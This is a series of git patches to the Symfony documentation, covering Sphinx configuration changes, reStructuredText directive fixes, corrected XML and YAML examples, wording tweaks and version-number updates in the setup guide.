 # adding PhpLexer
 from sphinx.highlighting import lexers
 from pygments.lexers.compiled import CLexer
+from pygments.lexers.shell import BashLexer
 from pygments.lexers.special import TextLexer
 from pygments.lexers.text import RstLexer
 from pygments.lexers.web import PhpLexer
@@ -29,14 +30,15 @@
 # -- General configuration -----------------------------------------------------
 
 # If your documentation needs a minimal Sphinx version, state it here.
-#needs_sphinx = '1.0'
+needs_sphinx = '1.8.5'
 
 # Add any Sphinx extension module names here, as strings. They can be extensions
 # coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
 extensions = [
-    'sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.todo',
-    'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice', 'sensio.sphinx.codeblock',
-    'symfonycom.sphinx'
+    'sphinx.ext.autodoc', 'sphinx.ext.doctest',
+    'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.ext.ifconfig',
+    'sphinx.ext.viewcode', 'sphinx.ext.extlinks',
+    'sensio.sphinx.codeblock', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice'
     #,'sphinxcontrib.spelling'
 ]
 
@@ -98,7 +100,7 @@
 #show_authors = False
 
 # The name of the Pygments (syntax highlighting) style to use.
-pygments_style = 'sphinx'
+pygments_style = 'symfonycom.sphinx.SensioStyle'
 
 # A list of ignored prefixes for module index sorting.
 #modindex_common_prefix = []
@@ -112,25 +114,27 @@
 lexers['php-standalone'] = PhpLexer(startinline=True)
 lexers['php-symfony'] = PhpLexer(startinline=True)
 lexers['rst'] = RstLexer()
+lexers['varnish2'] = CLexer()
 lexers['varnish3'] = CLexer()
 lexers['varnish4'] = CLexer()
 lexers['terminal'] = TerminalLexer()
+lexers['env']  = BashLexer()
 
 config_block = {
     'apache': 'Apache',
     'markdown': 'Markdown',
     'nginx': 'Nginx',
     'rst': 'reStructuredText',
-    'terminal': 'Terminal',
+    'varnish2': 'Varnish 2',
     'varnish3': 'Varnish 3',
     'varnish4': 'Varnish 4'
 }
 
-# use PHP as the primary domain
-primary_domain = 'php'
+# don't enable Sphinx Domains
+primary_domain = None
 
 # set url for API links
-api_url = 'http://api.symfony.com/master/%s'
+api_url = 'https://github.com/symfony/symfony/blob/master/src/%s.php'
 
 
 # -- Options for HTML output ---------------------------------------------------
@@ -138,12 +142,15 @@
 # The theme to use for HTML and HTML Help pages.  See the documentation for
 # a list of builtin themes.
 html_theme = "sphinx_rtd_theme"
-html_theme_path = ["_themes", ]
 
 # Theme options are theme-specific and customize the look and feel of a theme
 # further.  For a list of options available for each theme, see the
 # documentation.
-#html_theme_options = {}
+html_theme_options = {
+    'logo_only': True,
+    'prev_next_buttons_location': None,
+    'style_nav_header_background': '#f0f0f0'
+}
 
 # Add any paths that contain custom themes here, relative to this directory.
 #html_theme_path = []
@@ -157,7 +164,7 @@
 
 # The name of an image file (relative to this directory) to place at the top
 # of the sidebar.
-#html_logo = None
+html_logo = '_static/symfony-logo.svg'
 
 # The name of an image file (within the static path) to use as favicon of the
 # docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
@@ -167,7 +174,8 @@
 # Add any paths that contain custom static files (such as style sheets) here,
 # relative to this directory. They are copied after the builtin static files,
 # so a file named "default.css" will overwrite the builtin "default.css".
-#html_static_path = ['_static']
+html_static_path = ['_static']
+html_css_files = ['rtd_custom.css']
 
 # If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
 # using the given strftime format.
diff --git a/best_practices/creating-the-project.rst b/best_practices/creating-the-project.rst
index abcda84b621..1b4c1f4a695 100644
--- a/best_practices/creating-the-project.rst
+++ b/best_practices/creating-the-project.rst
@@ -27,7 +27,7 @@ to create files and execute the following commands:
 
 **Linux and macOS systems**:
 
-.. class:: command-linux
+.. rst-class:: command-linux
 .. code-block:: terminal
 
     $ cd projects/
@@ -35,7 +35,7 @@ to create files and execute the following commands:
 
 **Windows systems**:
 
-.. class:: command-windows
+.. rst-class:: command-windows
 .. code-block:: terminal
 
     > cd projects/
diff --git a/components/asset.rst b/components/asset.rst
index b4d55821a2d..f3acca103b0 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -147,7 +147,6 @@ corresponding output file:
 
 .. code-block:: json
 
-    // rev-manifest.json
     {
         "css/app.css": "build/css/app.b916426ea1d10021f3f17ce8031f93c2.css",
         "js/app.js": "build/js/app.13630905267b809161e71d0f8a0c017b.js",
@@ -160,6 +159,7 @@ In those cases, use the
     use Symfony\Component\Asset\Package;
     use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
 
+    // assumes the JSON file above is called "rev-manifest.json"
     $package = new Package(new JsonManifestVersionStrategy(__DIR__.'/rev-manifest.json'));
 
     echo $package->getUrl('css/app.css');
diff --git a/components/lock.rst b/components/lock.rst
index 02192105221..19f1d2dbf8b 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -155,7 +155,7 @@ object) and ``isExpired()`` (which returns a boolean).
 The Owner of The Lock
 ---------------------
 
-Locks that are acquired for the first time are owned[1]_ by the ``Lock`` instance that acquired
+Locks that are acquired for the first time are owned [1]_ by the ``Lock`` instance that acquired
 it. If you need to check whether the current ``Lock`` instance is (still) the owner of
 a lock, you can use the ``isAcquired()`` method::
 
diff --git a/controller.rst b/controller.rst
index 9cbb20101cc..5c2ae3421d9 100644
--- a/controller.rst
+++ b/controller.rst
@@ -314,7 +314,7 @@ the argument by its name:
 
                 <!-- Explicitly configure the service -->
                 <service id="AppBundle\Controller\LuckyController">
-                    <tag name"controller.service_arguments"/>
+                    <tag name="controller.service_arguments"/>
                     <bind key="$logger"
                         type="service"
                         id="monolog.logger.doctrine"
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 83986fc20b4..4c67362ada1 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -78,10 +78,9 @@ Using styles
 You can't use ``<style>`` in ``.jsx`` files. As a workaround, you can import
 ``.css``, ``.scss``, etc. files manually:
 
-.. code-block:: javascript
+.. code-block:: jsx
 
     // App.jsx
-
     import './App.css'
 
     export default {
@@ -107,10 +106,9 @@ You can't use `Scoped Styles`_ (``<style scoped>``) either in ``.jsx`` files. As
 a workaround, you can use `CSS Modules`_ by suffixing import paths with
 ``?module``:
 
-.. code-block:: javascript
+.. code-block:: jsx
 
     // Component.jsx
-
     import styles from './Component.css?module' // suffix with "?module"
 
     export default {
@@ -142,7 +140,7 @@ Using images
 You can't use ``<img src="./image.png">`` in ``.jsx`` files. As a workaround,
 you can import them with ``require()`` function:
 
-.. code-block:: javascript
+.. code-block:: jsx
 
     export default {
         name: 'Component',
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index bf23d951ea9..24f19177cd6 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -25,7 +25,7 @@ key in your application configuration.
 Configuration
 -------------
 
-.. class:: list-config-options
+.. rst-class:: list-config-options
 
 * `dump_destination`_
 * `max_items`_
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4321d168e3a..310e8ee36da 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -27,7 +27,7 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
-.. class:: list-config-options list-config-options--complex
+.. rst-class:: list-config-options list-config-options--complex
 
 * `annotations`_
 
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index dd6033438f2..1b0ac248ab3 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -25,7 +25,7 @@ to :doc:`send emails </email>`. All these options are configured under the
 Configuration
 -------------
 
-.. class:: list-config-options list-config-options--complex
+.. rst-class:: list-config-options list-config-options--complex
 
 * `antiflood`_
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 05e0da4ec34..88229859230 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -25,7 +25,7 @@ the ``twig`` key in your application configuration.
 Configuration
 -------------
 
-.. class:: list-config-options list-config-options--complex
+.. rst-class:: list-config-options list-config-options--complex
 
 * `auto_reload`_
 * `autoescape`_
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 8772bb225bf..a752c9e94be 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,7 +30,7 @@ execution and displays it in both the web debug toolbar and the
 Configuration
 -------------
 
-.. class:: list-config-options
+.. rst-class:: list-config-options
 
 * `excluded_ajax_paths`_
 * `intercept_redirects`_
diff --git a/reference/forms/twig_reference.rst b/reference/forms/twig_reference.rst
index d3f31f3c8ec..35542088411 100644
--- a/reference/forms/twig_reference.rst
+++ b/reference/forms/twig_reference.rst
@@ -197,7 +197,7 @@ array).
 
 .. code-block:: html+twig
 
-    <option {% if choice is selectedchoice(value) %} selected="selected"{% endif %} ...>
+    <option {% if choice is selectedchoice(value) %} selected="selected"{% endif %} {# ... #}>
 
 .. _form-twig-rootform:
 
@@ -247,7 +247,7 @@ of variables. By default, these blocks live inside `form_div_layout.html.twig`_.
 
 Look at the ``form_label`` as an example:
 
-.. code-block:: html+twig
+.. code-block:: twig
 
     {% block form_label %}
         {% if not compound %}
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 8225bd4c084..4d5e8429263 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -328,7 +328,7 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: xml
 
-            <doctrine:dbal schema-filter="~^(?!rememberme_token)~" .../>
+            <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
 
         .. code-block:: php
 
diff --git a/service_container.rst b/service_container.rst
index b0298073182..1544990dc0b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1183,12 +1183,12 @@ unique string as the key of each service config:
             <services>
                 <prototype namespace="AppBundle\Domain"
                     resource="../../src/AppBundle/Domain/*/CommandHandler"/>
-                    <tag name"command_handler"/>
+                    <tag name="command_handler"/>
                 </prototype>
 
                 <prototype namespace="AppBundle\Domain"
                     resource="../../src/AppBundle/Domain/*/EventSubscriber"/>
-                    <tag name"event_subscriber"/>
+                    <tag name="event_subscriber"/>
                 </prototype>
 
                 <!-- ... -->
diff --git a/setup.rst b/setup.rst
index 3b879a5441d..b2fe9ab23bd 100644
--- a/setup.rst
+++ b/setup.rst
@@ -22,7 +22,7 @@ executable that needs to be installed on your system only once:
 
 **Linux and macOS systems**:
 
-.. class:: command-linux
+.. rst-class:: command-linux
 .. code-block:: terminal
 
     $ sudo mkdir -p /usr/local/bin
@@ -31,7 +31,7 @@ executable that needs to be installed on your system only once:
 
 **Windows systems**:
 
-.. class:: command-windows
+.. rst-class:: command-windows
 .. code-block:: terminal
 
     > php -r "file_put_contents('symfony', file_get_contents('https://symfony.com/installer'));"
@@ -43,7 +43,7 @@ executable that needs to be installed on your system only once:
     environment variable and create a ``symfony.bat`` file to create the global
     command or move it to any other directory convenient for you:
 
-    .. class:: command-windows
+    .. rst-class:: command-windows
     .. code-block:: terminal
 
         # for example, if WAMP is used ...

From 7ff0c26d4d12556225955301e0ee396942c98f40 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 28 Jun 2020 10:45:24 +0200
Subject: [PATCH 0919/7107] Fixed build errors

---
 components/lock.rst         | 7 ++++++-
 form/form_customization.rst | 2 +-
 messenger.rst               | 2 +-
 session/database.rst        | 2 +-
 4 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4c4432a8cd8..9dde86b8415 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -169,7 +169,7 @@ object) and ``isExpired()`` (which returns a boolean).
 The Owner of The Lock
 ---------------------
 
-Locks that are acquired for the first time are owned by the ``Lock`` instance that acquired
+Locks that are acquired for the first time are owned [1]_ by the ``Lock`` instance that acquired
 it. If you need to check whether the current ``Lock`` instance is (still) the owner of
 a lock, you can use the ``isAcquired()`` method::
 
@@ -206,6 +206,11 @@ above), it is possible for an instance to lose the lock it acquired automaticall
     you have to use ``acquire()`` for this. The ``isAcquired()`` method is used to check
     if the lock has been acquired by the **current process** only!
 
+.. [1] Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
+    not ``Lock``. But from a user perspective, ``Key`` is internal and you will likely only be working
+    with the ``Lock`` instance so it's easier to think of the ``Lock`` instance as being the one that
+    is the owner of the lock.
+
 Available Stores
 ----------------
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3094eb08f40..1ecd816d64b 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -341,7 +341,7 @@ array).
 
 .. code-block:: html+twig
 
-    <option {% if choice is selectedchoice(value) %}selected="selected"{% endif %} ...>
+    <option {% if choice is selectedchoice(value) %}selected="selected"{% endif %}>
 
 .. _form-twig-rootform:
 
diff --git a/messenger.rst b/messenger.rst
index b961d56c142..908c5e96a7f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -910,7 +910,7 @@ up manually by calling the ``messenger:setup-transports`` command.
         .. code-block:: xml
 
             # config/packages/doctrine.xml
-            <doctrine:dbal schema-filter="~^(?!messenger_messages)~" .../>
+            <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
 
         .. code-block:: php
 
diff --git a/session/database.rst b/session/database.rst
index 587df14bae3..69838e26d1a 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -546,7 +546,7 @@ configure these values with the second argument passed to the
             Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
                 arguments:
                     - '@doctrine_mongodb.odm.default_connection'
-                    - { id_field: '_guid', `expiry_field`: `eol` }
+                    - { id_field: '_guid', 'expiry_field': 'eol' }
 
     .. code-block:: xml
 

From bb10e94dc9bb494a938b150fa492e117b1b8204a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 28 Jun 2020 10:52:11 +0200
Subject: [PATCH 0920/7107] Fixed build error

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index c90df3fa1a9..5e0b971827c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -281,9 +281,9 @@ transport:
 
                     <!-- Send notifications to the next scheduled transport 
                          calculated by round robin -->
-                    <framework:chatter-transport name="slack">
+                    <framework:chatter-transport name="slack"><![CDATA[
                         %env(SLACK_DSN)% && %env(TELEGRAM_DSN)%
-                    </framework:chatter-transport>
+                    ]]></framework:chatter-transport>
                 </framework:notifier>
             </framework:config>
         </container>

From 4bc6745e80c680e6cef4cc291b125c7cfec0e01e Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sun, 28 Jun 2020 17:08:44 +0200
Subject: [PATCH 0921/7107] Update serializer.rst

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c8c52f9031d..b8fe7a7b5f0 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -586,7 +586,7 @@ There are several types of normalizers available:
     calling the constructor during the denormalization process.
 
     Objects are normalized to a map of property names and values (names are
-    generated removing the ``get``, ``set``, ``has``, ``is``, ``add`` or ``remove`` prefix from
+    generated by removing the ``get``, ``set``, ``has``, ``is``, ``add`` or ``remove`` prefix from
     the method name and transforming the first letter to lowercase; e.g.
     ``getFirstName()`` -> ``firstName``).
 
@@ -599,7 +599,7 @@ There are several types of normalizers available:
     the constructor and the "setters" (public methods starting with "set").
 
     Objects are normalized to a map of property names and values (names are
-    generated removing the ``get`` prefix from the method name and transforming
+    generated by removing the ``get`` prefix from the method name and transforming
     the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`

From b18101b8f5d6c03942034213f0789219baa8ea51 Mon Sep 17 00:00:00 2001
From: Menachem Korf <menachemkorf@gmail.com>
Date: Mon, 29 Jun 2020 12:50:02 +1000
Subject: [PATCH 0922/7107] Update associations.rst

---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index e940145bb2e..cf769166122 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -315,7 +315,7 @@ Saving Related Entities
 Now you can see this new code in action! Imagine you're inside a controller::
 
     // src/Controller/ProductController.php
-    namespace App/Controller;
+    namespace App\Controller;
 
     // ...
     use App\Entity\Category;

From 6bfe7e3cf4587b9c47e8ac7c6d528848a4ec1f0f Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 28 Jun 2020 12:47:31 +0200
Subject: [PATCH 0923/7107] Update injection_types.rst

missing annotation
---
 service_container/injection_types.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 2a728de4879..77098c0b9fb 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -222,6 +222,9 @@ that accepts the dependency::
     {
         private $mailer;
 
+        /**
+         * @required
+         */
         public function setMailer(MailerInterface $mailer)
         {
             $this->mailer = $mailer;

From d256990cfdc9903640fad3ceb7fc1dae2090e982 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 16 Jun 2020 01:29:15 +0200
Subject: [PATCH 0924/7107] add ProblemNormalizer

---
 components/serializer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index bf1a9796e39..99f6a2d4704 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -762,6 +762,9 @@ There are several types of normalizers available:
     :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
     into a list of errors according to the `RFC 7807`_ standard.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+    Normalizes errors according to the API Problem spec `RFC 7807`_.
+    
 .. _component-serializer-encoders:
 
 Encoders

From a4f4c4f4c72a7940a427e0bf177ce6f849c8dff6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 29 Jun 2020 09:42:12 +0200
Subject: [PATCH 0925/7107] Readded a content removed by error

---
 messenger.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index f0c3a93b12d..6033442a725 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -911,6 +911,9 @@ a table named ``messenger_messages``.
     The ability to automatically generate a migration for the ``messenger_messages``
     table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
 
+Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
+:ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
+
 The transport has a number of options:
 
 .. configuration-block::

From 19f3abc044b72affba947b2429ce082589dd68db Mon Sep 17 00:00:00 2001
From: Thomas Ferney <thomas.ferney@gmail.com>
Date: Thu, 11 Jun 2020 16:01:05 +0200
Subject: [PATCH 0926/7107] How to use dev-server with serf-signed domain.

---
 frontend/encore/dev-server.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 5da7d778cd7..210ee7ebc4b 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -58,6 +58,21 @@ option:
 
     $ ./node_modules/.bin/encore dev-server --hot
 
+If you want to use SSL with self-signed domain, add 
+the ``--https``, ``--pfx=``, and  ``--allowed-hosts``
+options to the ``dev-server`` command in the ``package.json`` file:
+
+.. code-block:: diff
+
+    {
+        ...
+        "scripts": {
+    -        "dev-server": "encore dev-server",
+    +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
+            ...
+        }
+    }
+
 If you experience issues related to CORS (Cross Origin Resource Sharing), add
 the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
 command in the ``package.json`` file:
@@ -78,6 +93,7 @@ command in the ``package.json`` file:
     Beware that `it's not recommended to disable host checking`_ in general, but
     here it's required to solve the CORS issue.
 
+
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
 .. _`HMR`: https://webpack.js.org/concepts/hot-module-replacement/
 .. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck

From d9f595f8faf77750f2dd8eac069840048d167528 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 29 Jun 2020 17:42:41 +0200
Subject: [PATCH 0927/7107] Minor tweak

---
 frontend/encore/dev-server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 210ee7ebc4b..4fbb0e1f879 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -58,9 +58,9 @@ option:
 
     $ ./node_modules/.bin/encore dev-server --hot
 
-If you want to use SSL with self-signed domain, add 
-the ``--https``, ``--pfx=``, and  ``--allowed-hosts``
-options to the ``dev-server`` command in the ``package.json`` file:
+If you want to use SSL with self-signed certificates, add the ``--https``,
+``--pfx=``, and  ``--allowed-hosts`` options to the ``dev-server`` command in
+the ``package.json`` file:
 
 .. code-block:: diff
 

From 5317f98a8f6b08b2cff6b334ad90b2e44400bf8c Mon Sep 17 00:00:00 2001
From: zeroUno <antocota91@gmail.com>
Date: Mon, 4 May 2020 01:41:09 +0200
Subject: [PATCH 0928/7107] Update service_container.rst

if a public service should *not* be fetched by ``$container->get()``, how should it be fetched? The example shows the use of ``$container->get()``, so I think there was a typo and it should be changed from "public" => "private"
---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index e0d2de287ca..7c610741393 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -860,7 +860,7 @@ This is mostly useful when you want to fetch services lazily::
 
 As a best practice, you should only create *private* services, which will happen
 automatically. And also, you should *not* use the ``$container->get()`` method to
-fetch public services.
+fetch private services.
 
 But, if you *do* need to make a service public, override the ``public`` setting:
 

From a69fa6a4c2d0a884d7e6dd097f5ba594f930a007 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 29 Jun 2020 18:00:19 +0200
Subject: [PATCH 0929/7107] Reword

---
 service_container.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 7c610741393..7c4ae87b117 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -858,9 +858,12 @@ This is mostly useful when you want to fetch services lazily::
             // ...
         }
 
-As a best practice, you should only create *private* services, which will happen
-automatically. And also, you should *not* use the ``$container->get()`` method to
-fetch private services.
+As a best practice, you should only create *private* services. This allows for
+safe container optimizations, e.g. removing unused services. You should not use
+``$container->get()`` to fetch public services, as it will make it harder to
+make those services private later. Instead consider
+:ref:`injecting services <services-constructor-injection>` or using
+:doc:`Service Subscribers or Locators </service_container/service_subscribers_locators>`.
 
 But, if you *do* need to make a service public, override the ``public`` setting:
 

From b523dc0f6db242505bc20114c063e80a5bedfcd5 Mon Sep 17 00:00:00 2001
From: Francis Besset <francis.besset@gmail.com>
Date: Tue, 30 Jun 2020 09:13:57 +0200
Subject: [PATCH 0930/7107] [Doctrine] Fixed bad method name for example

---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 5dacfc98b54..98a3c08832c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -239,7 +239,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event)
+        public function checkUserChanges(User $user, LifecycleEventArgs $event)
         {
             // ... do something to notify the changes
         }

From 1251f3b995d434715e77876049e01a98040dbabf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 09:43:02 +0200
Subject: [PATCH 0931/7107] Minor tweaks

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 22d9efeff98..2a2d200c58c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:v4.4.99 my_project_name
+    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:v4.4.99 my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 55a1815f9fb88dc887b47e00b131f3862fc09e0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 09:48:21 +0200
Subject: [PATCH 0932/7107] Updated the version numbers

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index e16d5b4def1..60bee1afed4 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=4.4 --full
+    $ symfony new my_project_name --version=5.0 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.0
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.0" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.0" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 63fd4fbbe98b66c77f8ef0945d8cddae028e9c53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 09:49:05 +0200
Subject: [PATCH 0933/7107] Updated the version numbers

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 60bee1afed4..f18ac19e9dc 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=5.0 --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=5.0
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"^5.0" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"^5.0" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From bd6cbc830c650b36a59a7ccd8b5ab7c94c9c9819 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 09:50:53 +0200
Subject: [PATCH 0934/7107] Updated version numbers

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index f18ac19e9dc..08ad45fe407 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=next --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.2.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.2.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 619e0307e2939fccaad9349014364906a44fd0af Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 6 Jun 2020 17:38:05 +0200
Subject: [PATCH 0935/7107] Move HTTP client docs from components to guides

---
 _build/redirection_map                        |   3 +-
 components/browser_kit.rst                    |   4 +-
 components/http_client.rst => http_client.rst | 768 +++++++++++++-----
 index.rst                                     |   1 +
 4 files changed, 562 insertions(+), 214 deletions(-)
 rename components/http_client.rst => http_client.rst (63%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 0253b19c3da..7ca4c8ffead 100644
--- a/_build/redirection_map
